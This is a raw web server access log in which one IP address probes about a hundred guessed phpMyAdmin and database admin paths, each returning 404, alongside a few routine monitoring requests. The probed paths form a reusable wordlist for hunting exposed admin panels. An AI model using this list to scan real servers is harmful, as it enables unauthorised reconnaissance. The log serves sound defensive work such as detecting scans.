85.244.166.12 - - [09/Feb/2020:23:20:22 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:22 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:22 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:23 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:23 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:23 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:24 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:24 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:24 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:24 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:25 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:25 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:25 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:26 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:26 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:26 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:27 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:27 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:27 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:20:27 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:27 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:28 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:28 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:20:28 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:25 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:25 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:25 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:25 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:26 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:26 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:26 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:26 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:27 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:21:27 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:27 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:28 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:28 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:28 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:28 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:29 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:29 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:29 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:29 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:29 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:30 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:30 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:30 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:30 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:31 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:31 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:31 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:31 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:32 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:32 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:32 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:32 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:33 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:34 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:34 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:34 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:34 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:34 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:35 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:35 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:35 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:35 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:35 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:36 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:37 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:37 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:37 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:37 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:37 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:38 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:38 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:38 +0100] "GET /db/webadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:38 +0100] "GET /db/dbweb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:39 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:39 +0100] "GET /db/webdb/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:39 +0100] "GET /db/dbadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:39 +0100] "GET /db/db-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:39 +0100] "GET /db/phpmyadmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /db/phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /administrator/phpmyadmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /administrator/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:40 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:21:41 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
